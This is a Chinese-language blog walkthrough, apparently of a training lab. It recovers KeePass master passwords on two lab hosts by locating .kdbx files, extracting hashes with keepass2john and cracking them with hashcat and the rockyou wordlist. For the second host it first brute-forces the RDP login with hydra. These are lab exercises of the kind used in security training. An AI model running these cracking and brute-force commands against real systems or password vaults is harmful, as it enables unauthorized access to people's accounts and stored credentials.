密碼管理器破解
密碼管理器破解
靶機 IP : 192.168.197.203
帳號密碼 : jason /lab
目標 : KeePass 數據庫的主密碼,獲得 " User Company Password " 的密碼。
第一步 xfreerdp 登入到目標主機 └─$ xfreerdp -v:192.168.197.203 -u:jason -p:lab
KeePass 程式將密碼存儲在名為 *.kdbx 的資料庫,所以要先找出資料庫
指令 dir /s *.kdbx,找到檔名為 Database.kdbx 位於 c:\Users\jason\Documents 路徑底下
KeePass 密碼管理器資料庫如下圖
將此檔案傳輸到 kali 主機進行破解,透過 FTP 傳輸過去
接著用 Kali 內建破解 KeePass 的轉換工具將 hash 導出
keepass2john Database.kdbx > keepass.hash
轉換後的 Hash 值為
Database:$keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1a7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e55337ff001ddfac98c961219d942fb0cfba*5273cc73b9584fbd843d1ee309d2ba47*1dcad0a3e50f684510c5ab14e1eecbb63671acae14a77eff9aa319b63d71ddb9*17c3ebc9c4c3535689cb9cb501284203b7c66b0ae2fbf0c2763ee920277496c1
使用前要移除最前面的 Database: 字串,整個 hash 值應該為
$keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1a7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e55337ff001ddfac98c961219d942fb0cfba*5273cc73b9584fbd843d1ee309d2ba47*1dcad0a3e50f684510c5ab14e1eecbb63671acae14a77eff9aa319b63d71ddb9*17c3ebc9c4c3535689cb9cb501284203b7c66b0ae2fbf0c2763ee920277496c1
使用 hashcat 之前要先確認 HASH mode,查找此網站
https://hashcat.net/wiki/doku.php?id=example_hashes,可以看到 KeePass mode 是 13400
也可以透過 hashcat 指令查找 mode,└─$ hashcat --help | grep -i "KeePass"
接著使用 hashcat 套用 rockyou-300000.rule 來破解
└─$ hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force
破出來得到密碼為 qwertyuiop123!
開啟靶機內的 KeePass 程式並輸入密碼登入
看到我們的目標,右鍵複製密碼貼到文字檔就可以看到密碼了
靶機 2 : 192.168.197.227
帳號 : nadine
沒有給密碼,所以第一步看來是要先破解密碼
所以標準第一步 rustscan,└─$ rustscan -a 192.168.197.227 --scripts none --ulimit 5000
那就直接 hydra RDP 破解密碼試試看吧
└─$ hydra -l nadine -P /usr/share/wordlists/rockyou.txt rdp://192.168.197.227
RDP 進去後發現依樣有安裝 KeePass,所以先找 *.kdbx
丟到 kali 主機,再 keepass2john Database.kdbx > keepass.hash
然後 vi 修改 keepass.hash 去開頭的 Database: 字串
接著開始破解 hash,└─$ hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force
破出來了,密碼是 pinkpanther1234
開啟 KeePass 並獲取密碼
留言
張貼留言